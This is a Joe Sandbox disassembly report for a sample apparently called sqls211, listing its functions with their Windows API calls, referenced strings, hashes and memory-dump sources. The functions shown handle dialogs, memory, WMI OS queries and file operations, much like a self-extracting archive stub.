Opcode ID: 1e3ba205f6b5493a7f5c70399d4233292b3cd57955f9dc0524b3faab8f1ff9ca
Instruction ID: 94482213c493999be2c0142c345e7507de57e993577bd0e967719f7bd64c6981
Opcode Fuzzy Hash: 1e3ba205f6b5493a7f5c70399d4233292b3cd57955f9dc0524b3faab8f1ff9ca
Instruction Fuzzy Hash: DF51E2B1A087119FC748CF19D48065AF7E1FF88314F058A2EE899E3340D734E959CB9A

Function 00CD3E0B Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39963e26f0f32bb957082511270cc61aa548dbbc85140380b543ac3b2cb39bde
Instruction ID: 06d3a27e9a71f61af07d947a22166c4eb594c98390c8c90c9b059b12e6351926
Opcode Fuzzy Hash: 39963e26f0f32bb957082511270cc61aa548dbbc85140380b543ac3b2cb39bde
Instruction Fuzzy Hash: D1312AB1A1474A8FCB18DF28C85126EBBE0FB95304F50452EE5D5C7781C734EA0ACB92

Function 00CCE2E8 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 234COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00CCE30E

Part of subcall function 00CC4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CC40A5

Part of subcall function 00CD1DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00D01030,00000200,00CCD928,00000000,?,00000050,00D01030), ref: 00CD1DC4

_strlen.LIBCMT ref: 00CCE32F
SetDlgItemTextW.USER32(?,00CFE274,?), ref: 00CCE38F
GetWindowRect.USER32(?,?), ref: 00CCE3C9
GetClientRect.USER32(?,?), ref: 00CCE3D5
GetWindowLongW.USER32(?,000000F0), ref: 00CCE475
GetWindowRect.USER32(?,?), ref: 00CCE4A2
SetWindowTextW.USER32(?,?), ref: 00CCE4DB
GetSystemMetrics.USER32(00000008), ref: 00CCE4E3
GetWindow.USER32(?,00000005), ref: 00CCE4EE
GetWindowRect.USER32(00000000,?), ref: 00CCE51B
GetWindow.USER32(00000000,00000002), ref: 00CCE58D

Strings

$%s:, xrefs: 00CCE302
CAPTION, xrefs: 00CCE4BD
d, xrefs: 00CCE3F5

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 2407758923-2512411981
Opcode ID: 79d61e2fbd90e369e42c87b0057d10969ef3e38a4fc89ab8950f3f8c98b2a339
Instruction ID: 9f7dab9751ea383abf3d05121b62f6a968034305acb4cc82fa74c4e29333c29e
Opcode Fuzzy Hash: 79d61e2fbd90e369e42c87b0057d10969ef3e38a4fc89ab8950f3f8c98b2a339
Instruction Fuzzy Hash: 54819272208341AFD711DFA8CD89F6FBBE9EB89704F04092DFA95D7250D634E9058B62

Function 00CECB22 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00CECB66

Part of subcall function 00CEC701: _free.LIBCMT ref: 00CEC71E
Part of subcall function 00CEC701: _free.LIBCMT ref: 00CEC730
Part of subcall function 00CEC701: _free.LIBCMT ref: 00CEC742
Part of subcall function 00CEC701: _free.LIBCMT ref: 00CEC754
Part of subcall function 00CEC701: _free.LIBCMT ref: 00CEC766
Part of subcall function 00CEC701: _free.LIBCMT ref: 00CEC778
Part of subcall function 00CEC701: _free.LIBCMT ref: 00CEC78A
Part of subcall function 00CEC701: _free.LIBCMT ref: 00CEC79C
Part of subcall function 00CEC701: _free.LIBCMT ref: 00CEC7AE
Part of subcall function 00CEC701: _free.LIBCMT ref: 00CEC7C0
Part of subcall function 00CEC701: _free.LIBCMT ref: 00CEC7D2
Part of subcall function 00CEC701: _free.LIBCMT ref: 00CEC7E4
Part of subcall function 00CEC701: _free.LIBCMT ref: 00CEC7F6

_free.LIBCMT ref: 00CECB5B

Part of subcall function 00CE8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00CEC896,00CF3A34,00000000,00CF3A34,00000000,?,00CEC8BD,00CF3A34,00000007,00CF3A34,?,00CECCBA,00CF3A34), ref: 00CE8DE2
Part of subcall function 00CE8DCC: GetLastError.KERNEL32(00CF3A34,?,00CEC896,00CF3A34,00000000,00CF3A34,00000000,?,00CEC8BD,00CF3A34,00000007,00CF3A34,?,00CECCBA,00CF3A34,00CF3A34), ref: 00CE8DF4

_free.LIBCMT ref: 00CECB7D
_free.LIBCMT ref: 00CECB92
_free.LIBCMT ref: 00CECB9D
_free.LIBCMT ref: 00CECBBF
_free.LIBCMT ref: 00CECBD2
_free.LIBCMT ref: 00CECBE0
_free.LIBCMT ref: 00CECBEB
_free.LIBCMT ref: 00CECC23
_free.LIBCMT ref: 00CECC2A
_free.LIBCMT ref: 00CECC47
_free.LIBCMT ref: 00CECC5F

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 8421841d45942cd3fd3fa13244151abf3cc91656ae64275534d8b99e54d5bc44
Instruction ID: 07c35552de85e267b00680d9384c084dd3edcffb51d1eb35a4b8eaf94932f35c
Opcode Fuzzy Hash: 8421841d45942cd3fd3fa13244151abf3cc91656ae64275534d8b99e54d5bc44
Instruction Fuzzy Hash: 47315C316003869FEB20AA3ADC86B5A77E9BF10310F245429F56CD7192DF35EE45DB10

Function 00CD9711 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 126memoryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00CD9736
_wcslen.LIBCMT ref: 00CD97D6
GlobalAlloc.KERNEL32(00000040,?), ref: 00CD97E5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00CD9806
CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00CD982D

Strings

<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00CD9760
<html>, xrefs: 00CD9755, 00CD978E
utf-8"></head>, xrefs: 00CD976B
</html>, xrefs: 00CD97B7

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: Global_wcslen$AllocByteCharCreateMultiStreamWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 1777411235-4209811716
Opcode ID: 8d493eedb374a554efefcdd23f9e2ee53f69abf64ba437a46bde7494e18f8d17
Instruction ID: ad2d56a3adaa5945573440aec76031bdf0ffc490b6dd6441e9136d78f966f700
Opcode Fuzzy Hash: 8d493eedb374a554efefcdd23f9e2ee53f69abf64ba437a46bde7494e18f8d17
Instruction Fuzzy Hash: CA3135361083817BE725AB21AC46F6FB7ACEF42720F14011FF611972D2EB749A0493A6

Function 00CDD69E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 00CDD6C1
GetClassNameW.USER32(00000000,?,00000800), ref: 00CDD6ED

Part of subcall function 00CD1FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,00CCC116,00000000,.exe,?,?,00000800,?,?,?,00CD8E3C), ref: 00CD1FD1

GetWindowLongW.USER32(00000000,000000F0), ref: 00CDD709
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00CDD720
GetObjectW.GDI32(00000000,00000018,?), ref: 00CDD734
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 00CDD75D
DeleteObject.GDI32(00000000), ref: 00CDD764
GetWindow.USER32(00000000,00000002), ref: 00CDD76D

Strings

STATIC, xrefs: 00CDD6F3

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: e8a3ee29a8e45c6855a2a507dd9afcf1948afcd99381cac99d1c740920cde545
Instruction ID: f02a7983ed587fc2f8e2530f4c0f015479fb2ae6304f3ea1248e0c0fd75f7476
Opcode Fuzzy Hash: e8a3ee29a8e45c6855a2a507dd9afcf1948afcd99381cac99d1c740920cde545
Instruction Fuzzy Hash: EF1136729007107BE2316B709C4AFAF765CAF50701F014122FB22E23D5DA68CB4652B5

Function 00CE96F1 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00CE9705

Part of subcall function 00CE8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00CEC896,00CF3A34,00000000,00CF3A34,00000000,?,00CEC8BD,00CF3A34,00000007,00CF3A34,?,00CECCBA,00CF3A34), ref: 00CE8DE2
Part of subcall function 00CE8DCC: GetLastError.KERNEL32(00CF3A34,?,00CEC896,00CF3A34,00000000,00CF3A34,00000000,?,00CEC8BD,00CF3A34,00000007,00CF3A34,?,00CECCBA,00CF3A34,00CF3A34), ref: 00CE8DF4

_free.LIBCMT ref: 00CE9711
_free.LIBCMT ref: 00CE971C
_free.LIBCMT ref: 00CE9727
_free.LIBCMT ref: 00CE9732
_free.LIBCMT ref: 00CE973D
_free.LIBCMT ref: 00CE9748
_free.LIBCMT ref: 00CE9753
_free.LIBCMT ref: 00CE975E
_free.LIBCMT ref: 00CE976C

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 2bbd228600dfcb42a189b381569f24a39f7efd25d74fd80bb0d924f88bcbabea
Instruction ID: 97e97c6c3d0971b6da03d38c8d2b9ca87f69917969da4952af207fad62715136
Opcode Fuzzy Hash: 2bbd228600dfcb42a189b381569f24a39f7efd25d74fd80bb0d924f88bcbabea
Instruction Fuzzy Hash: F411A27611014AAFCB01EF96CC82CD93BB5EF14350B5555A1FA088F262DE32EB54AB84

Function 00CE2E31 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00CE2F50
___TypeMatch.LIBVCRUNTIME ref: 00CE305E
_UnwindNestedFrames.LIBCMT ref: 00CE31B0
CallUnexpected.LIBVCRUNTIME ref: 00CE31CB
_abort.LIBCMT ref: 00CE31D0

Strings

csm, xrefs: 00CE2F87
csm, xrefs: 00CE2E6E
csm, xrefs: 00CE2EDB

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwind_aborttype_info::operator==
String ID: csm$csm$csm
API String ID: 322700389-393685449
Opcode ID: a041ae40a5b70dc155cb3faf34385d0e8fa93f2a61db85014bb817fac695dae5
Instruction ID: 8b221ff6eccb783a14d4ccef9b9fb231c4923c2f7c63c414753f11cb3a37fafc
Opcode Fuzzy Hash: a041ae40a5b70dc155cb3faf34385d0e8fa93f2a61db85014bb817fac695dae5
Instruction Fuzzy Hash: 80B18D719002D9EFCF25DFA6C8859AEB7B9FF04310F14416AE8116B212D731EB51DB91

Function 00CC6FA5 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 134COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CC6FAA
_wcslen.LIBCMT ref: 00CC7013
_wcslen.LIBCMT ref: 00CC7084

Part of subcall function 00CC7A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00CC7AAB
Part of subcall function 00CC7A9C: GetLastError.KERNEL32 ref: 00CC7AF1
Part of subcall function 00CC7A9C: CloseHandle.KERNEL32(?), ref: 00CC7B00

Strings

SeRestorePrivilege, xrefs: 00CC6FC2
UNC\, xrefs: 00CC7051
SeCreateSymbolicLinkPrivilege, xrefs: 00CC6FCC
\??\, xrefs: 00CC702B

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: _wcslen$CloseCurrentErrorH_prologHandleLastProcess
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3122303884-3508440684
Opcode ID: 7cb8822b917b5f6de4cff095abfcec58aa918ed009c211e327451ced893cc88e
Instruction ID: 5dbcb383ebd6ef09d2ae41895b61a45cb6145fa3213d24bf275f61f230db643d
Opcode Fuzzy Hash: 7cb8822b917b5f6de4cff095abfcec58aa918ed009c211e327451ced893cc88e
Instruction Fuzzy Hash: 674119B1D083887AEB20E770DD46FEE776CDF14344F04055EFA5AA7182D674AB449B21

Function 00CDB5C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00CC1316: GetDlgItem.USER32(00000000,00003021), ref: 00CC135A
Part of subcall function 00CC1316: SetWindowTextW.USER32(00000000,00CF35F4), ref: 00CC1370

EndDialog.USER32(?,00000001), ref: 00CDB610
SendMessageW.USER32(?,00000080,00000001,?), ref: 00CDB637
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 00CDB650
SetWindowTextW.USER32(?,?), ref: 00CDB661
GetDlgItem.USER32(?,00000065), ref: 00CDB66A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 00CDB67E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00CDB694

Strings

LICENSEDLG, xrefs: 00CDB5D4

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: d9df71901ab638029a6794c95efb5ff9763f92bba2e70b3090cc4bec05f16774
Instruction ID: 5bf5ea699c2ba75b74370fe73ffe60e035f3da6c2ab8921c89bdebe47a08b06e
Opcode Fuzzy Hash: d9df71901ab638029a6794c95efb5ff9763f92bba2e70b3090cc4bec05f16774
Instruction Fuzzy Hash: 23219E32604305BBD2259F66ED4AF7B3B6DEB46B81F024016F704D23A0CB56DE03A675

Function 00CDFD10 Relevance: 13.7, APIs: 9, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,752EA19E,00000001,00000000,00000000,?,?,00CCAF6C,ROOT\CIMV2), ref: 00CDFD99
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,?,00CCAF6C,ROOT\CIMV2), ref: 00CDFE14
SysAllocString.OLEAUT32(00000000), ref: 00CDFE1F
_com_issue_error.COMSUPP ref: 00CDFE48
_com_issue_error.COMSUPP ref: 00CDFE52
GetLastError.KERNEL32(80070057,752EA19E,00000001,00000000,00000000,?,?,00CCAF6C,ROOT\CIMV2), ref: 00CDFE57
_com_issue_error.COMSUPP ref: 00CDFE6A
GetLastError.KERNEL32(00000000,?,?,00CCAF6C,ROOT\CIMV2), ref: 00CDFE80
_com_issue_error.COMSUPP ref: 00CDFE93

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
String ID:
API String ID: 1353541977-0
Opcode ID: 570b7edee6633d65d8514a2e8a7b7f0a22c59ddca8e73e6598af231a83cb848e
Instruction ID: 16c1c7d2a3311061220dbafdef9f074fb83e4c6c3ac5a5ad70f61f0d79630d8f
Opcode Fuzzy Hash: 570b7edee6633d65d8514a2e8a7b7f0a22c59ddca8e73e6598af231a83cb848e
Instruction Fuzzy Hash: 824138B1A00248ABDB109F65CC45BAEBBA8FF44710F14423FFA16E7351D7349A01C7A5

Function 00CCAF24 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 210COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CCAF29

Strings

Name, xrefs: 00CCB0B0
Windows 10, xrefs: 00CCB0C2
WQL, xrefs: 00CCAFDC
ROOT\CIMV2, xrefs: 00CCAF5C
SELECT * FROM Win32_OperatingSystem, xrefs: 00CCAFCA

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: H_prolog
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
API String ID: 3519838083-3505469590
Opcode ID: a3aaa0be0d501fb7b7e20a7f28bffa99cc909c3451aa889f7e5f5bdbe6a8fb10
Instruction ID: 01b7350b5a9d95961e40c0feb5bf08f966433e03c56ed3b577a8b6b96dd08e62
Opcode Fuzzy Hash: a3aaa0be0d501fb7b7e20a7f28bffa99cc909c3451aa889f7e5f5bdbe6a8fb10
Instruction Fuzzy Hash: D2715D71A00619AFDB14DFA5CC99EBEBBB9FF48714B14015DE512A72A0CB30AE41CB61

Function 00CC9382 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CC9387
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00CC93AA
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 00CC93C9

Part of subcall function 00CCC29A: _wcslen.LIBCMT ref: 00CCC2A2

Part of subcall function 00CD1FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,00CCC116,00000000,.exe,?,?,00000800,?,?,?,00CD8E3C), ref: 00CD1FD1

_swprintf.LIBCMT ref: 00CC9465

Part of subcall function 00CC4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CC40A5

MoveFileW.KERNEL32(?,?), ref: 00CC94D4
MoveFileW.KERNEL32(?,?), ref: 00CC9514

Strings

rtmp%d, xrefs: 00CC944E

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf_wcslen
String ID: rtmp%d
API String ID: 3726343395-3303766350
Opcode ID: f4edf188532ff95fa57f3f7b43c711f18b157972e478a56f7e0119ca8ec29451
Instruction ID: 11261bda344177604be83e9edff758fa901511ead7602192c3cf0be925ba0a13
Opcode Fuzzy Hash: f4edf188532ff95fa57f3f7b43c711f18b157972e478a56f7e0119ca8ec29451
Instruction Fuzzy Hash: C14156B190025866DF21FBA0CC49FEE737CEF45340F0449A9F659E3551DA388B89EB60

Function 00CD1218 Relevance: 12.1, APIs: 8, Instructions: 125timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00CD122E

Part of subcall function 00CCB146: GetVersionExW.KERNEL32(?), ref: 00CCB16B

FileTimeToLocalFileTime.KERNEL32(00000003,00000000,00000003,?,00000064,00000000,00000000,?), ref: 00CD1251
FileTimeToSystemTime.KERNEL32(00000003,?,00000003,?,00000064,00000000,00000000,?), ref: 00CD1263
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00CD1274
SystemTimeToFileTime.KERNEL32(?,?), ref: 00CD1284
SystemTimeToFileTime.KERNEL32(?,?), ref: 00CD1294
FileTimeToSystemTime.KERNEL32(?,?,?), ref: 00CD12CF
__aullrem.LIBCMT ref: 00CD1379

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: 6a59a9fbe35db9dab02c4225d7442a7e34a9fbbeebc5fcfde6a9a8f0d4c7541e
